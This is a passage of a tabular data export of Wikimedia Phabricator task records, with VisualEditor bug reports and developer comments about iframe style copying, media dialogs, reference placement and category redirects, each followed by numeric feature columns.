(updating the summary to clarify)",,,1375791803,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-btbym6mlgax3tzzbkzr4,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,5.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,2.0,7.0,10.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,15.0,7.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,3.658536585365854,0.8292682926829268,"I was thinking when reading.

Now that you mention it, it would probably be useful for VisualEditor as well, but I think that can be its own bug.

(updating the summary to clarify)"
241115,"When a link goes to a redirect, show the final destination as a tooltip (title attribute)","In which exact situation should the tooltip be shown? 
Is this about reading? Editing?",,,1375790948,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-btbym6mlgax3tzzbkzr4,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.055555555555555,0.8888888888888888,"In which exact situation should the tooltip be shown? 
Is this about reading? Editing?"
54486,VisualEditor: Copying of styles to dialog frame is dirty,"Screenshot where it works (VE copied it from <style>)

When VE copies styles into the frame, in the case of copying from a friendly <link> tag (e.g. one that is readable, we inspect it and copy the contents over, as opposed to a foreign one we have to fetch again from the iframe).

In that case, the css we manage to extract from the remote <link> appears to be dirty and neither strictly or effectively roundtrips. Both the actual css it copied and the effective values are different.

For example, in the case of ""background: none;""  it gets dirtied to ""background-image: none; background-position: initial initial; background-repeat: initial initial;"". Which means it no longer overrides background-color.

Now, in some browsers background: none (old IE iirc) is indeed interpreted as the above, and it would be reasonable behaviour of it expands it to what it interprets it as.

However in the case of Chrome, it does't just normalise but actually gives us values that don't match. See attached screenshots.

The side effects (e.g. broken styles) are currently (e.g. MediaWiki context) most visible in debug mode because then almost everything is loaded through <link> and as such subject to this bug. In production mode most things are loaded by ResourceLoader and thus evaluated inline. However it is a bug both in production as well, it is just a matter of time before we find random broken styles.


- Figure out if we can get the contents without normalisation

- Perhaps fallback indefinitely to always using <link href> for remote stylesheets, thus costing a few extra http requests inside the dialog, but that might be the only way we can for now.

- Figure out how many things are affected and in which browsers. Maybe we can get it fixed upstream reasonably fast (these seem to be genuine bugs in the browser).

- If there's only a few properties subject to dirty normalisation, we could consider changing our stylesheets to avoid those properties. E.g. instead of background: none; use background-color: none; (something less ambiguous, and probably correct in this case, though it is a bug still because it works in Chrome normally, but not after roundtripping to an iframe).

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11259}",Low,25.0,1375487160,1415062594.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-f3cdxehcze5c6igk2koe,task_description,resolved,True,c1,3,True,False,False,4,,0.8,0.4,0.0,0.8,0.4,6.0,1.8,0.4,0.2,0.4,5.2,0.2,0.0,0.6,0.2,2.0,0.2,9.0,11.2,1.4,1.2,0.0,0.0,0.0,0.6,0.0,0.2,0.6,1.0,0.2,0.0,5.4,0.8,3.4,0.2,0.0,0.4,0.2,0.8,0.2,0.0,0.0,0.6,1.6,0.2,0.6,0.0,0.2,0.0,14.6,0.6,0.8,0.0,0.8,0.2,0.0,0.0,0.0,1.0,0.0,0.0,0.4,0.0,0.2,0.0,0.2,0.0,4.8,2.8,5.8,1.6,2.8,6.8,0.0,0.0,0.0,0.0,3.6,0.0,0.2,0.0,5.4,11.2,2.4,0.0,0.8,0.0,5.4,0.0,1.6,1.6,0.2,0.8,0.2,0.4,1.8,3.9717231222385863,0.6764148958552493,"Screenshot where it works (VE copied it from <style>)

When VE copies styles into the frame, in the case of copying from a friendly <link> tag (e.g. one that is readable, we inspect it and copy the contents over, as opposed to a foreign one we have to fetch again from the iframe).

In that case, the css we manage to extract from the remote <link> appears to be dirty and neither strictly or effectively roundtrips. Both the actual css it copied and the effective values are different.

For example, in the case of ""background: none;""  it gets dirtied to ""background-image: none; background-position: initial initial; background-repeat: initial initial;"". Which means it no longer overrides background-color.

Now, in some browsers background: none (old IE iirc) is indeed interpreted as the above, and it would be reasonable behaviour of it expands it to what it interprets it as.

However in the case of Chrome, it does't just normalise but actually gives us values that don't match. See attached screenshots.

The side effects (e.g. broken styles) are currently (e.g. MediaWiki context) most visible in debug mode because then almost everything is loaded through <link> and as such subject to this bug. In production mode most things are loaded by ResourceLoader and thus evaluated inline. However it is a bug both in production as well, it is just a matter of time before we find random broken styles.


- Figure out if we can get the contents without normalisation

- Perhaps fallback indefinitely to always using <link href> for remote stylesheets, thus costing a few extra http requests inside the dialog, but that might be the only way we can for now.

- Figure out how many things are affected and in which browsers. Maybe we can get it fixed upstream reasonably fast (these seem to be genuine bugs in the browser).

- If there's only a few properties subject to dirty normalisation, we could consider changing our stylesheets to avoid those properties. E.g. instead of background: none; use background-color: none; (something less ambiguous, and probably correct in this case, though it is a bug still because it works in Chrome normally, but not after roundtripping to an iframe).

--------------------------
**Version**: unspecified
**Severity**: enhancement

**Attached**: {F11259}"
236782,VisualEditor: Copying of styles to dialog frame is dirty,Effectively fixed for dialogs by expedient of not doing this any more…,,,1415062594,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3cdxehcze5c6igk2koe,task_subcomment,,True,c1,3,True,,,70,,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,4.538461538461538,1.0,Effectively fixed for dialogs by expedient of not doing this any more…
236776,VisualEditor: Copying of styles to dialog frame is dirty,"Has the bug:
- Chrome 29 beta
- Chrome 30 canary
- Safari 6.0.5

Does not have the bug:
- Firefox 22 stable
- Firefox Aurora 24.0a2",,,1375487416,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3cdxehcze5c6igk2koe,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,23.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1714285714285713,0.6285714285714286,"Has the bug:
- Chrome 29 beta
- Chrome 30 canary
- Safari 6.0.5

Does not have the bug:
- Firefox 22 stable
- Firefox Aurora 24.0a2"
236770,VisualEditor: Copying of styles to dialog frame is dirty,"Created attachment 13055
Screenshot where it is dirty and broken (VE copied it from <link>)

**Attached**: {F11260}",,,1375487204,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-f3cdxehcze5c6igk2koe,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,10.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.3666666666666667,0.8666666666666667,"Created attachment 13055
Screenshot where it is dirty and broken (VE copied it from <link>)

**Attached**: {F11260}"
54464,VisualEditor: Media selector should suggest media used on other language versions of the page,"en.wp user Wouterstomp suggests that the media selector should also suggest images that are used on other language versions of the article, not just based on the page title.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T53031}",Low,25.0,1375461120,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-dv44kcirtbdcglt6wfni,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.6721311475409836,"en.wp user Wouterstomp suggests that the media selector should also suggest images that are used on other language versions of the article, not just based on the page title.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T53031}"
235674,VisualEditor: Media selector should suggest media used on other language versions of the page,"This could be very useful, but would need us to move more of the media item usage data out of local wikis and into a central repository (probably Wikidata), which has been discussed a few times but I don't know how soon it might get done, sorry.",,,1375487609,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dv44kcirtbdcglt6wfni,task_subcomment,,True,c1,3,True,,,4,,2.0,0.0,2.0,2.0,2.0,11.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,4.0,6.0,2.0,6.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,9.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,0.0,3.685185185185185,0.9074074074074074,"This could be very useful, but would need us to move more of the media item usage data out of local wikis and into a central repository (probably Wikidata), which has been discussed a few times but I don't know how soon it might get done, sorry."
54461,VisualEditor: Media settings dialog should show a preview of the media item,"Wouterstomp at en.wp has requested that the media settings dialog shows a tumbnail/preview of the image so you can refer to it while writing the caption.

I would add to this that ctrl+click on this preview image should load the media description page in another tab/window.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375459860,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,17.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,6.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.323943661971831,0.704225352112676,"Wouterstomp at en.wp has requested that the media settings dialog shows a tumbnail/preview of the image so you can refer to it while writing the caption.

I would add to this that ctrl+click on this preview image should load the media description page in another tab/window.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
235440,VisualEditor: Media settings dialog should show a preview of the media item,"(In reply to comment #2)
> I don't think the original commenter had particularly thought of that, as the
> only thing you can currently do is write a caption. The idea being that you
> can refer back to the image when writing it. This will be even more useful
> I guess when you can used this dialog to write alt text.
> 
> My gut feeling is that a live preview would be nice but not essential.
> Possibly implement a static preview and then see if anybody asks for it to be
> made into a live preview. Assuming a live view is more than trivially harder
> to implement than a static one.

I believe that the hard stuff here will be in showing anything at all (and, particularly, anything that looks like how it will render in the page). Will check about live-updating, though.",,,1375783156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_subcomment,,True,c1,3,True,,,5,,1.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,12.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,18.0,3.0,1.0,3.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,3.0,12.0,10.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,3.411764705882353,0.6176470588235294,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I believe that the hard stuff here will be in showing anything at all (and, particularly, anything that looks like how it will render in the page). Will check about live-updating, though."
235434,VisualEditor: Media settings dialog should show a preview of the media item,"I don't think the original commenter had particularly thought of that, as the only thing you can currently do is write a caption. The idea being that you can refer back to the image when writing it. This will be even more useful I guess when you can used this dialog to write alt text.

My gut feeling is that a live preview would be nice but not essential. Possibly implement a static preview and then see if anybody asks for it to be made into a live preview. Assuming a live view is more than trivially harder to implement than a static one.",,,1375486837,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_subcomment,,True,c1,3,False,,,4,,0.0,1.0,0.0,1.0,1.5,9.5,3.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,2.0,0.0,7.5,9.5,1.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.5,4.0,4.0,1.5,1.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,9.5,1.0,2.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,1.0,0.5,1.5,0.0,2.0,0.0,0.5,0.5,7.0,5.0,4.5,3.5,2.0,8.5,0.0,0.0,0.0,0.0,7.5,0.0,1.0,0.0,5.0,9.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,5.0,0.0,1.5,2.5,0.0,0.0,3.911497493734336,0.7341791979949874,"I don't think the original commenter had particularly thought of that, as the only thing you can currently do is write a caption. The idea being that you can refer back to the image when writing it. This will be even more useful I guess when you can used this dialog to write alt text.

My gut feeling is that a live preview would be nice but not essential. Possibly implement a static preview and then see if anybody asks for it to be made into a live preview. Assuming a live view is more than trivially harder to implement than a static one."
235428,VisualEditor: Media settings dialog should show a preview of the media item,"Is this meant to be a preview of the media item as it will render in the page (i.e., a live-updated view of the configuration options from the dialog)?",,,1375482852,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zpdzyjmznhwuqu7y5wnu,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,3.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.5142857142857142,0.8571428571428571,"Is this meant to be a preview of the media item as it will render in the page (i.e., a live-updated view of the configuration options from the dialog)?"
54450,VisualEditor: Disallow (discourage?) placing references inside section headers,"<<This is not really a VE bug (it is possible in the standard editing mode as well), but it is something that happens more often in VE, and that perhaps can be automatically disabled in VE as well; inserting references inside section headers. This is never needed or wanted (it is ugly, and the thing that needs to be referenced should be in the text of the section, not only in the title anyway). Example (spam, but the principle applies): http://en.wikipedia.org/w/index.php?title=Miniature_pig&diff=prev&oldid=566703074 . Fram (talk) 07:31, 2 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375436160,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-beeof7d2r6t7gnezbj7a,task_description,open,True,c1,3,False,False,,4,,0.0,0.5,0.0,2.0,1.5,2.5,2.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,5.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,4.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.0,0.0,10.5,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.5,4.5,8.0,0.5,3.0,5.5,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,1.5,5.5,3.5,0.0,0.0,0.0,1.5,0.0,1.5,0.5,0.0,0.5,0.5,0.0,1.0,3.6615384615384614,0.676923076923077,"<<This is not really a VE bug (it is possible in the standard editing mode as well), but it is something that happens more often in VE, and that perhaps can be automatically disabled in VE as well; inserting references inside section headers. This is never needed or wanted (it is ugly, and the thing that needs to be referenced should be in the text of the section, not only in the title anyway). Example (spam, but the principle applies): URL . Fram (talk) 07:31, 2 August 2013 (UTC) >>

--------------------------
**Version**: unspecified
**Severity**: enhancement"
54447,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","A user at en.wp asks:
""Why hide the puzzle and content icons until mouse-over? In general, if a function is active, it should be always shown - no idea, what hiding tries to achieve here.""

Personally I think this could be very confusing for links, but it should be ok for templates and media.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375434180,1393632819.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-nbkquo5siurqmbtxqe3i,task_description,declined,True,c1,3,False,False,False,4,,0.0,0.0,1.0,1.0,0.0,6.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,5.0,8.0,2.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,1.0,1.0,2.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7093023255813953,0.7209302325581395,"A user at en.wp asks:
""Why hide the puzzle and content icons until mouse-over? In general, if a function is active, it should be always shown - no idea, what hiding tries to achieve here.""

Personally I think this could be very confusing for links, but it should be ok for templates and media.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
234713,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","On reflexion, I'm going to mark this as WONTFIX per my reasoning in comment 1 - this would massively dominate the interface on most real-world pages and make it unusable.",,,1393632819,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nbkquo5siurqmbtxqe3i,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.0285714285714285,0.9428571428571428,"On reflexion, I'm going to mark this as WONTFIX per my reasoning in comment 1 - this would massively dominate the interface on most real-world pages and make it unusable."
234706,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","yeah, the only way round that I can think of at the moment would be to have some sort of toggle between the current behaviour (default) and a display all mode. That would be useful for identifying at a glance where things are on a page, particularly with locating any invisible templates. It's not something I personally see as being of huge value, but I'm not everybody.",,,1375510577,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-nbkquo5siurqmbtxqe3i,task_subcomment,,True,c1,3,False,,,4,,4.0,3.0,0.0,0.0,3.0,6.0,5.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,4.0,1.0,8.0,14.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,5.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,5.0,6.0,1.0,3.0,13.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,4.0,0.0,3.0,0.0,0.0,0.0,3.961038961038961,0.7922077922077922,"yeah, the only way round that I can think of at the moment would be to have some sort of toggle between the current behaviour (default) and a display all mode. That would be useful for identifying at a glance where things are on a page, particularly with locating any invisible templates. It's not something I personally see as being of huge value, but I'm not everybody."
234700,"VisualEditor: Always show dialog icons for nodes (transclusion, media, reference, etc.)","Templates and images aren't necessarily very big (think for example about the 20px-wide images that decorate some lists, either directly or as tables).

When a node is smaller than a threshold, it displays the node icon as a pop-out (like an inspector menu); if we showed them all the time it could massively crowd-out the text of the page.

Also, I worry that it would obstruct part of the template so you wouldn't know whilst editing exactly what was going to appear for users (if the menu icon was unhelpfully placed).",,,1375490038,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nbkquo5siurqmbtxqe3i,task_subcomment,,True,c1,3,True,,,4,,1.5,0.0,0.5,1.0,1.5,2.0,0.5,0.0,0.0,2.0,1.0,1.5,0.0,0.0,0.0,2.0,0.0,7.0,12.5,0.0,1.0,0.0,1.0,0.0,2.5,0.5,0.0,0.0,1.0,2.0,0.0,3.0,2.5,2.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,7.5,3.0,3.0,5.0,1.5,9.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,6.0,12.5,0.5,0.0,0.0,0.0,6.0,0.0,2.0,2.0,1.0,2.0,0.5,0.0,0.0,3.7982456140350873,0.8245614035087719,"Templates and images aren't necessarily very big (think for example about the 20px-wide images that decorate some lists, either directly or as tables).

When a node is smaller than a threshold, it displays the node icon as a pop-out (like an inspector menu); if we showed them all the time it could massively crowd-out the text of the page.

Also, I worry that it would obstruct part of the template so you wouldn't know whilst editing exactly what was going to appear for users (if the menu icon was unhelpfully placed)."
54414,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","If category:A is redirected to category:B 
when user adds category:A it should switch it automatically to category:B like mediawiki:gadget-Hotcat.js

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1375383960,1397702597.0,PHID-USER-dswbdv7ibhsefllcqarz,False,,False,PHID-TASK-ykcis27ybwjtiim3musu,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.14,0.56,"If category:A is redirected to category:B 
when user adds category:A it should switch it automatically to category:B like mediawiki:gadget-Hotcat.js

--------------------------
**Version**: unspecified
**Severity**: enhancement"
257832,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","Change 118218 merged by jenkins-bot:
Follow redirects in the category widgets

https://gerrit.wikimedia.org/r/118218",,,1397702683,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ykcis27ybwjtiim3musu,task_subcomment,,True,c1,3,False,,,41,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,1.0,"Change 118218 merged by jenkins-bot:
Follow redirects in the category widgets

GERRIT_URL"
257827,"VisualEditor: If an added category is a redirect to another, suggest adding the target instead","Change 118218 had a related patch set uploaded by Alex Monk:
Follow redirects in the category widgets

